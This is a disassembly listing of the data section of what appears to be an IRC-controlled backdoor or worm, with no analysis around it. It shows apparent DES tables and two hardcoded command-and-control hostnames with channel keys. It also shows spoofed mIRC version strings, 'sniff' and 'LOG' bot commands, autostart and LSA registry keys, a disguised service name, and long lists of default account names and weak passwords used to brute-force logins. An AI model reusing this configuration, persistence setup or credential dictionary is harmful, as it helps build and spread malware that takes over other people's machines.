		dd 20h,	10h, 8,	4, 2, 1, 20283038h, 81018h, 21293139h
		dd 1091119h, 222A323Ah,	20A121Ah, 232B333Bh, 262E363Eh
		dd 60E161Eh, 252D353Dh,	50D151Dh, 242C343Ch, 40C141Ch
		dd 30B131Bh, 6040201h, 0E0C0A08h, 1513110Fh, 1C1B1917h
		dd 170A100Dh, 1B020400h, 914050Eh, 30B1216h, 60F0719h
		dd 10C131Ah, 241E3328h,	271D362Eh, 2F202C32h, 3726302Bh
		dd 292D3421h, 1F1C2331h, 1010400h, 0
		dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h
		dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h
		dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h)
		dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0
		dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4,	1010000h
		dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h
		dd 1000004h, 400h, 4, 1000404h,	10404h,	1010404h, 10004h
		dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h
		dd 404h, 2 dup(1000400h), 0
		dd 10004h, 10400h, 0
		dd 1010004h, 80108020h,	80008000h, 8000h, 108020h, 100000h
		dd 20h,	80100020h, 80008020h, 80000020h, 80108020h, 80108000h
		dd 80000000h, 80008000h, 100000h, 20h, 80100020h, 108000h
		dd 100020h, 80008020h, 0
		dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h
		dd 0
		dd 108000h, 8020h, 80108000h, 80100000h, 8020h,	0
		dd 108020h, 80100020h, 100000h,	80008020h, 80100000h, 80108000h
		dd 8000h, 80100000h, 80008000h,	20h, 80108020h,	108020h
		dd 20h,	8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h
		dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0
		dd 80008000h, 8020h, 80000000h,	80100020h, 80108020h, 108000h
		dd 208h, 8020200h, 0
		dd 8020008h, 8000200h, 0
		dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h
		dd 20008h, 8020000h, 208h, 8000000h, 8,	8020200h, 200h
		dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h
		dd 20000h, 8000208h, 8,	8020208h, 200h,	8000000h, 8020200h
		dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h
		dd 0
		dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0
		dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h
		dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h
		dd 20208h, 8, 8020008h,	20200h,	802001h, 2 dup(2081h)
		dd 80h,	802080h, 800081h, 800001h, 2001h, 0
		dd 2 dup(802000h), 802081h, 81h, 0
		dd 800080h, 800001h, 1,	2000h, 800000h,	802001h, 80h, 800000h
		dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h
		dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h
		dd 2 dup(0)
		dd 802000h, 2080h, 800080h, 800081h, 1,	802001h, 2 dup(2081h)
		dd 80h,	802081h, 81h, 1, 2000h,	800001h, 2001h,	802080h
		dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h
		dd 2000h, 802080h, 100h, 2080100h, 2080000h, 42000100h
		dd 80000h, 100h, 40000000h, 2080000h, 40080100h, 80000h
		dd 2000100h, 40080100h,	42000100h, 42080000h, 80100h, 40000000h
		dd 2000000h, 2 dup(40080000h), 0
		dd 40000100h, 2	dup(42080100h),	2000100h, 42080000h, 40000100h
		dd 0
		dd 42000000h, 2080100h,	2000000h, 42000000h, 80100h, 80000h
		dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h
		dd 40080100h, 2000100h,	40000000h, 42080000h, 2080100h
		dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h
		dd 42000000h, 42080100h, 2080000h, 0
		dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h
		dd 0
		dd 40080000h, 2080100h,	40000100h, 20000010h, 20400000h
		dd 4000h, 20404010h, 20400000h,	10h, 20404010h,	400000h
		dd 20004000h, 404010h, 400000h,	20000010h, 400010h, 20004000h
		dd 20000000h, 4010h, 0
		dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h
		dd 2 dup(20400010h), 0
		dd offset loc_40400F+1
		dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h
		dd 10h,	20400010h, 404000h, 20404010h, 400000h,	4010h
		dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h
		dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0
		dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h
		dd 20004010h, 0
		dd 20404000h, 20000000h, 400010h, 20004010h, 200000h, 4200002h
		dd 4000802h, 0
		dd 800h, 4000802h, 200802h, 4200800h, 4200802h,	200000h
		dd 0
		dd 4000002h, 2,	4000000h, 4200002h, 802h, 4000800h, 200802h
		dd 200002h, 4000800h, 4000002h,	4200000h, 4200800h, 200002h
		dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h
		dd 200800h, 4000000h, 200800h, 200000h,	2 dup(4000802h)
		dd 2 dup(4200002h), 2, 200002h,	4000000h, 4000800h, 200000h
		dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h
		dd 4200000h, 200800h, 0
		dd 2, 4200802h,	0
		dd 200802h, 4200000h, 800h, 4000002h, 4000800h,	800h, 200002h
		dd 10001040h, 1000h, 40000h, 10041040h,	10000000h, 10001040h
		dd 40h,	10000000h, 40040h, 10040000h, 10041040h, 41000h
		dd 10041000h, 41040h, 1000h, 40h, 10040000h, 10000040h
		dd 10001000h, 1040h, 41000h, 40040h, 10040040h,	10041000h
		dd 1040h, 2 dup(0)
		dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h
		dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h
		dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h
		dd 40000h, 10001040h, 0
		dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h
		dd 10001040h, 0
		dd 10041040h, 2	dup(41000h), 2 dup(1040h), 40040h, 10000000h
		dd 10041000h
dword_42A958	dd 25D2h						; sub_40121E+517r
dword_42A95C	dd 0EC3h	dword_42A960	dd 1A08h	dword_42A964	dd 45h							; sub_40BC0C+3Br
dword_42A968	dd 1F90h						; sub_40BC0C:loc_40BFF4r
dword_42A96C	dd 201h		word_42A970	dw 7C7h			; DATA XREF: sub_401AA1:loc_4046C4r
		align 4
dword_42A974	dd 1		dword_42A978	dd 1		dword_42A97C	dd 1							; sub_4189E4+Cr
byte_42A980	db 2Eh			; DATA XREF: sub_401AA1+A3Dr
					; sub_401AA1+AF7r ...
		align 4
dword_42A984	dd 6							; sub_40A97E+5Fr ...
dword_42A988	dd 6							; sub_401AA1+26Er ...
dword_42A98C	dd 1							; sub_401AA1+268r
dword_42A990	dd 0B730B728h, 0B737B730h, 29h,	0					; sub_401AA1:loc_4043FCo ...
dword_42A9A0	dd 91313003h, 2343003h,	781F025Ah, 373561Fh, 32C3130h
					; DATA XREF: sub_401AA1:loc_4048C9o
		dd 33A3431h, 30032031h,	30039131h, 56021F34h, 5852021Fh
		dd 2C313003h, 3A353103h, 31300320h, 2340391h, 6C650252h
		dd 6564616Fh, 42022064h, 30037902h, 3202C31h, 281F3531h
		dd 0B734031Fh, 2313003h, 361026Ch, 6D023430h, 31300302h
		dd 2720265h, 3B73403h, 291F3531h, 0
dword_42AA14	dd 6D616Ch						; sub_401AA1+7BA6o
aTrying_q8cv_or	db 'trying.q8cv.org',0  ; DATA XREF: sub_40121E+47Bo
					; sub_40121E+508o
asc_42AA28	db '#l#',0              ; DATA XREF: sub_40121E+49Bo
					; sub_40121E+51Eo ...
aL4mo		db 'l4mo',0             ; DATA XREF: sub_40121E+4B2o
					; sub_40121E+530o
		align 4
byte_42AA34	db 74h			; DATA XREF: sub_40121E:loc_40175Er
					; sub_40121E+54Eo
aRying_homler_n	db 'rying.homler.net',0
		align 4
asc_42AA48	db '#l#',0              ; DATA XREF: sub_40121E+564o
aL4mo_0		db 'l4mo',0             ; DATA XREF: sub_40121E+576o
		align 4
byte_42AA54	db 57h			; DATA XREF: sub_40121E+140o
					; sub_40121E+164w ...
		db 69h,	6Eh, 54h
		dd 70697063h, 78652E73h, 65h, 746E6977h, 622E7061h, 7461h
aMicrosoftGetwa	db 'MicroSoft Getway Dire',0 ; DATA XREF: sub_401000+Bo
		align 4
aL4m3r		db '[l4m3r]',0          ; DATA XREF: .XPack0:0040A9FCo
aWansys_dat	db 'wansys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401AA1+7C26o
		align 4
asc_42AAA4	db '#l',0               ; DATA XREF: sub_401AA1+1E47o
					; sub_401AA1+1E58o ...
		align 4
aLog_0		db '#LOG#',0            ; DATA XREF: sub_401AA1+7212o
					; sub_401AA1+7267o
		align 10h
aSniff		db '#sniff#',0          ; DATA XREF: sub_401AA1+40D2o
					; sub_401AA1+421Eo
off_42AAB8	dd offset a@_0		; DATA XREF: sub_401AA1+7B7Dr
					; "*@*"
off_42AABC	dd offset aMircV6_16Khale ; DATA XREF: sub_401AA1+86Er
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
byte_42AACC	db 53h			; DATA XREF: .XPack0:off_42A054o
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A4EB+28o
					; sub_41A811+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A4EB+D4o
					; sub_41A811+D4o
		align 4
		dd 2 dup(1), 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 10h
		dd offset byte_4404C4
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_42AE00	dd 10h							; sub_401AA1+AD3r ...
aIntranet	db 'intranet',0         ; DATA XREF: .XPack0:0040E6BEo
					; .XPack0:0042ADECo
		align 10h
aLan		db 'lan',0              ; DATA XREF: .XPack0:0040E6B4o
					; .XPack0:0042ADE4o
aMain		db 'main',0             ; DATA XREF: .XPack0:0040E6ADo
					; .XPack0:0042ADE0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .XPack0:0040E6A6o
					; .XPack0:0042ADDCo
aBlank		db 'blank',0            ; DATA XREF: .XPack0:0040E69Fo
					; .XPack0:0042ADD8o
		align 4
aOffice		db 'office',0           ; DATA XREF: .XPack0:0040E698o
					; .XPack0:0042ADD4o
		align 4
aControl	db 'control',0          ; DATA XREF: .XPack0:0040E691o
					; .XPack0:0042ADD0o
aXp		db 'xp',0               ; DATA XREF: .XPack0:0040E68Ao
					; .XPack0:0042ADCCo
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: .XPack0:0040E683o
					; .XPack0:0042ADC8o
		align 4
aHp		db 'hp',0               ; DATA XREF: .XPack0:0040E67Co
					; .XPack0:0042ADC4o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .XPack0:0040E675o
					; .XPack0:0042ADC0o
aCompaq		db 'compaq',0           ; DATA XREF: .XPack0:0040E66Eo
					; .XPack0:0042ADBCo
		align 4
aDell		db 'dell',0             ; DATA XREF: .XPack0:0040E667o
					; .XPack0:0042ADB8o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .XPack0:0040E660o
					; .XPack0:0042ADB4o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .XPack0:0040E656o
					; .XPack0:0042ADB0o
aOrainstall	db 'orainstall',0       ; DATA XREF: .XPack0:0040E642o
					; .XPack0:0042ADA8o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .XPack0:0040E638o
					; .XPack0:0042ADA4o
		align 10h
aSql		db 'sql',0              ; DATA XREF: .XPack0:0040E62Eo
					; .XPack0:0042ADA0o
aSa		db 'sa',0               ; DATA XREF: sub_401AA1+1B56o
					; .XPack0:0040E199o ...
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .XPack0:0040E61Eo
					; .XPack0:0042AD98o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: .XPack0:0040E60Ao
					; .XPack0:0042AD90o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .XPack0:0040E600o
					; .XPack0:0042AD8Co
		align 4
aData		db 'data',0             ; DATA XREF: .XPack0:0040E5F6o
					; .XPack0:0042AD88o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: .XPack0:0040E5ECo
					; .XPack0:0042AD84o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: .XPack0:0040E5E2o
					; .XPack0:0042AD80o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .XPack0:0040E5D8o
					; .XPack0:0042AD7Co
		align 4
aAccess		db 'access',0           ; DATA XREF: .XPack0:0040E5CEo
					; .XPack0:0042AD78o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .XPack0:0040E5BAo
					; .XPack0:0042AD70o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .XPack0:0040E5B0o
					; .XPack0:0042AD6Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: .XPack0:0040E5A6o
					; .XPack0:0042AD68o
		align 10h
aHello		db 'hello',0            ; DATA XREF: .XPack0:0040E59Co
					; .XPack0:0042AD64o
		align 4
aHell		db 'hell',0             ; DATA XREF: .XPack0:0040E592o
					; .XPack0:0042AD60o
		align 10h
aGod		db 'god',0              ; DATA XREF: .XPack0:0040E588o
					; .XPack0:0042AD5Co
aSex		db 'sex',0              ; DATA XREF: .XPack0:0040E57Eo
					; .XPack0:0042AD58o ...
aSlut		db 'slut',0             ; DATA XREF: .XPack0:0040E574o
					; .XPack0:0042AD54o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .XPack0:0040E56Ao
					; .XPack0:0042AD50o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .XPack0:0040E560o
					; .XPack0:0042AD4Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .XPack0:0040E556o
					; .XPack0:0042AD48o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .XPack0:0040E54Co
					; .XPack0:0042AD44o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .XPack0:0040E542o
					; .XPack0:0042AD40o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .XPack0:0040E538o
					; .XPack0:0042AD3Co
		align 4
aLogin		db 'login',0            ; DATA XREF: .XPack0:0040E52Eo
					; .XPack0:0042AD38o
		align 4
aMary		db 'mary',0             ; DATA XREF: .XPack0:0040E524o
					; .XPack0:0042AD34o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .XPack0:0040E51Ao
					; .XPack0:0042AD30o
		align 4
aKate		db 'kate',0             ; DATA XREF: .XPack0:0040E50Ao
					; .XPack0:0042AD28o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .XPack0:0040E500o
					; .XPack0:0042AD24o
		align 4
aEric		db 'eric',0             ; DATA XREF: .XPack0:0040E4F6o
					; .XPack0:0042AD20o
		align 4
aChris		db 'chris',0            ; DATA XREF: .XPack0:0040E4ECo
					; .XPack0:0042AD1Co
		align 4
aIan		db 'ian',0              ; DATA XREF: .XPack0:0040E4E2o
					; .XPack0:0042AD18o
aNeil		db 'neil',0             ; DATA XREF: .XPack0:0040E4D8o
					; .XPack0:0042AD14o
		align 10h
aLee		db 'lee',0              ; DATA XREF: .XPack0:0040E4CEo
					; .XPack0:0042AD10o
aBrian		db 'brian',0            ; DATA XREF: .XPack0:0040E4C4o
					; .XPack0:0042AD0Co
		align 4
aSusan		db 'susan',0            ; DATA XREF: .XPack0:0040E4B4o
					; .XPack0:0042AD04o
		align 4
aSue		db 'sue',0              ; DATA XREF: .XPack0:0040E4AAo
					; .XPack0:0042AD00o
aSam		db 'sam',0              ; DATA XREF: .XPack0:0040E4A0o
					; .XPack0:0042ACFCo
aLuke		db 'luke',0             ; DATA XREF: .XPack0:0040E496o
					; .XPack0:0042ACF8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .XPack0:0040E435o
					; .XPack0:0042ACF4o ...
		align 4
aJohn		db 'john',0             ; DATA XREF: .XPack0:0040E486o
					; .XPack0:0042ACF0o
		align 4
aMike		db 'mike',0             ; DATA XREF: .XPack0:0040E47Co
					; .XPack0:0042ACECo
		align 4
aBill		db 'bill',0             ; DATA XREF: .XPack0:0040E472o
					; .XPack0:0042ACE8o
		align 4
aFred		db 'fred',0             ; DATA XREF: .XPack0:0040E468o
					; .XPack0:0042ACE4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .XPack0:0040E45Eo
					; .XPack0:0042ACE0o
aJen		db 'jen',0              ; DATA XREF: .XPack0:0040E454o
					; .XPack0:0042ACDCo
aBob		db 'bob',0              ; DATA XREF: .XPack0:0040E430o
					; .XPack0:0042ACD8o ...
aQwe		db 'qwe',0              ; DATA XREF: .XPack0:0040E444o
					; .XPack0:0042ACD4o
aZxc		db 'zxc',0              ; DATA XREF: .XPack0:0040E43Ao
					; .XPack0:0042ACD0o
aAsd		db 'asd',0              ; DATA XREF: .XPack0:0040E426o
					; .XPack0:0042ACCCo
aQaz		db 'qaz',0              ; DATA XREF: .XPack0:0040E41Co
					; .XPack0:0042ACC8o
aWin2000	db 'win2000',0          ; DATA XREF: .XPack0:0040E412o
					; .XPack0:0042ACC4o
aWinnt		db 'winnt',0            ; DATA XREF: .XPack0:0040E408o
					; .XPack0:0042ACC0o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .XPack0:0040E3FEo
					; .XPack0:0042ACBCo
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: .XPack0:0040E3F4o
					; .XPack0:0042ACB8o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .XPack0:0040E3EAo
					; .XPack0:0042ACB4o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: .XPack0:0040E3E0o
					; .XPack0:0042ACB0o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .XPack0:0040E3D6o
					; .XPack0:0042ACACo
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .XPack0:0040E3CCo
					; .XPack0:0042ACA8o
aOem		db 'oem',0              ; DATA XREF: .XPack0:0040E3C2o
					; .XPack0:0042ACA4o
aUser		db 'user',0             ; DATA XREF: sub_401AA1+45E3o
					; .XPack0:0040E3B8o ...
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .XPack0:0040E3AEo
					; .XPack0:0042AC9Co
		align 4
aHome		db 'home',0             ; DATA XREF: .XPack0:0040E3A4o
					; .XPack0:0042AC98o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .XPack0:0040E39Ao
					; .XPack0:0042AC94o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .XPack0:0040E390o
					; .XPack0:0042AC90o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .XPack0:0040E1AFo
					; .XPack0:0042AC8Co ...
		align 10h
aWww		db 'www',0              ; DATA XREF: .XPack0:0040E380o
					; .XPack0:0042AC88o
aWeb		db 'web',0              ; DATA XREF: sub_401AA1+71E1o
					; .XPack0:0040E376o ...
aOutlook	db 'outlook',0          ; DATA XREF: .XPack0:0040E36Co
					; .XPack0:0042AC80o
aMail		db 'mail',0             ; DATA XREF: .XPack0:0040E362o
					; .XPack0:0042AC7Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .XPack0:0040E358o
					; .XPack0:0042AC78o
		align 10h
aNull		db 'null',0             ; DATA XREF: .XPack0:0040E34Eo
					; .XPack0:0042AC74o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401AA1+3E73o
					; .XPack0:0040E33Eo ...
		align 10h
aSystem		db 'system',0           ; DATA XREF: .XPack0:0040E334o
					; .XPack0:0042AC68o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .XPack0:0040E320o
					; .XPack0:0042AC60o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .XPack0:0040E316o
					; .XPack0:0042AC5Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: .XPack0:0040E30Co
					; .XPack0:0042AC58o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .XPack0:0040E302o
					; .XPack0:0042AC54o
		align 4
aNone		db 'none',0             ; DATA XREF: .XPack0:0040E2F8o
					; .XPack0:0042AC50o
		align 4
aTest		db 'test',0             ; DATA XREF: .XPack0:0040E2E4o
					; .XPack0:0042AC48o
		align 4
a2004		db '2004',0             ; DATA XREF: .XPack0:0040E2DAo
					; .XPack0:0042AC44o
		align 4
a2003		db '2003',0             ; DATA XREF: .XPack0:0040E2D0o
					; sub_41B0A1+BAo ...
		align 4
a2002		db '2002',0             ; DATA XREF: .XPack0:0040E2C6o
					; .XPack0:0042AC3Co
		align 4
a2001		db '2001',0             ; DATA XREF: .XPack0:0040E2BCo
					; .XPack0:0042AC38o
		align 4
a2000		db '2000',0             ; DATA XREF: .XPack0:0040E2B2o
					; .XPack0:0042AC34o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .XPack0:0040E2A8o
					; .XPack0:0042AC30o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .XPack0:0040E29Eo
					; .XPack0:0042AC2Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: .XPack0:0040E294o
					; .XPack0:0042AC28o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .XPack0:0040E28Ao
					; .XPack0:0042AC24o
a123456		db '123456',0           ; DATA XREF: .XPack0:0040E280o
					; .XPack0:0042AC20o
		align 4
a12345		db '12345',0            ; DATA XREF: .XPack0:0040E276o
					; .XPack0:0042AC1Co
		align 10h
a1234		db '1234',0             ; DATA XREF: .XPack0:0040E26Co
					; .XPack0:0042AC18o
		align 4
a123		db '123',0              ; DATA XREF: .XPack0:0040E262o
					; .XPack0:0042AC14o
a12		db '12',0               ; DATA XREF: .XPack0:0040E258o
					; .XPack0:0042AC10o
		align 10h
a1:					; DATA XREF: .XPack0:0040AE67o
					; .XPack0:0040E24Eo ...
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .XPack0:0040E244o
					; .XPack0:0042AC08o
aPwd		db 'pwd',0              ; DATA XREF: .XPack0:0040E23Ao
					; .XPack0:0042AC04o
aPass		db 'pass',0             ; DATA XREF: .XPack0:0040E230o
					; .XPack0:0042AC00o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .XPack0:0040E226o
					; .XPack0:0042ABFCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .XPack0:0040E21Co
					; .XPack0:0042ABF8o
		align 4
aPassword	db 'password',0         ; DATA XREF: .XPack0:0040E212o
					; .XPack0:0042ABF4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .XPack0:0040E208o
					; .XPack0:0042ABF0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: .XPack0:0040E1FEo
					; .XPack0:0042ABECo
aDb2		db 'db2',0              ; DATA XREF: .XPack0:0040E614o
					; .XPack0:0042ABC8o ...
aOracle		db 'oracle',0           ; DATA XREF: .XPack0:0040E64Co
					; .XPack0:0042ABC4o ...
		align 10h
aDba		db 'dba',0              ; DATA XREF: .XPack0:0042ABC0o
aDatabase	db 'database',0         ; DATA XREF: .XPack0:0040E5C4o
					; .XPack0:0042ABBCo ...
		align 10h
aDefault	db 'default',0          ; DATA XREF: .XPack0:0040E32Ao
					; .XPack0:0042ABB8o ...
aGuest		db 'guest',0            ; DATA XREF: .XPack0:0040E2EEo
					; .XPack0:0042ABB4o ...
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .XPack0:0042ABB0o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .XPack0:0040E6CCo
					; .XPack0:0042ABACo ...
aStudent	db 'student',0          ; DATA XREF: .XPack0:0040E6C5o
					; .XPack0:0042ABA8o ...
aOwner		db 'owner',0            ; DATA XREF: .XPack0:0042ABA4o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .XPack0:0042ABA0o
		align 10h
